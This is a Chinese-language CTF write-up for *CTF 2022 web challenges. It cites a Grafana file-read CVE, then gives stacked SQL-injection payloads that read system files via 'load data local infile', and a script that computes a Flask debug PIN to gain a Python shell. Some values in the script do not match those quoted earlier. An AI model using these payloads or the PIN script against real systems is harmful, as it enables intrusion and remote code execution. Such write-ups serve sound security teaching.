*CTF2022
web
oh-my-grafana
打开一看,使用了框架搭建的网站,首先想到看历史漏洞,也就是找Grafana的版本号去搜索
然后就找到了这一篇文章https://blog.csdn.net/dreamthe/article/details/121794956
CVE-2021-43798 Grafana 未授权任意文件读取漏洞
[starCTF]oh-my-notepro
复现环境:https://github.com/sixstars/starctf2022/tree/main/web-oh-my-notepro/docker
打开题目发现有个记笔记功能,且登陆可以用任意账号密码登陆
然后随便写了一个不存在的id,发现debug报错,且是flask,猜测是算PIN
def login_required(f):
@wraps(f)
def decorated_function(*args, **kws):
if not session.get("username"):
return redirect(url_for('login'))
return f(*args, **kws)
return decorated_function
def get_random_id():
alphabet = list(string.ascii_lowercase + string.digits)
result = db.session.execute(sql, params={"multi":True})
db.session.commit()
result = result.fetchone()
data = {
'title': result[4],
'text': result[3],
}
return render_template('note.html', data=data)
接下来就是想办法读文件,然后算PIN
猜测这个可以sql注入
SQL注入
发现报错,存在sql注入
爆出5列,很显然flag不在数据库里面,需要在使用sql读取文件算PIN
因为版本是5.6.51,高版本的mysql默认是没有权限使用load_file命令的,但是可以使用load data local infile into table
,导入文件数据到表中,然后再大一这个表中的数据,所以给出payload如下
create table table_name(data varchar(1000));load data local infile "文件目录" into table ctf.table_name;
SELECT group_concat(data) from ctf.table_name;
这里其实是可以使用堆叠注入的,通过爆出的源码得知
这是一个flask的mysql拓展,他指定了一个参数{"multi":True}
,它的含义就是允许执行多行命令
所以给出堆叠注入payload如下
创建表
';create table pysnow(data varchar(1000));%23
导入数据到表
';load data local infile "/etc/passwd" into table ctf.pysnow;%23
读取表
'union select 1,2,3,4,group_concat(data) from ctf.pysnow%23
执行成功
计算PIN
根据前面的说法,现在就是读各种文件了
/etc/passwd: ctf
拿到username为ctf
/sys/class/net/eth0/address: 2485723369475
/proc/self/cgroup: 6002acf689b0b8562763a1e738959d4ce549b19c2431bd61b33529710846491e
/proc/sys/kernel/random/boot-id: 23d4f554-ae37-414f-b759-447c2b298e7f
/etc/machine-id: 1cc402dd0e11d5ae18db04a6de87223d
拿到PIN:912-569-282
拿到python的shell了,直接os.popen('ls /').read()
执行命令就行
这个给出算PIN的脚本如下
import hashlib
from itertools import chain
probably_public_bits = [
'ctf' # /etc/passwd
'flask.app', # 默认值
'Flask', # 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]
private_bits = [
'2485377568585', # /sys/class/net/eth0/address 十进制
'1cc402dd0e11d5ae18db04a6de87223d6002acf689b0b8562763a1e738959d4ce549b19c2431bd61b33529710846491e'
# 字符串合并:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup
]
# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
web-oh-my-lotto
没写完,留个坑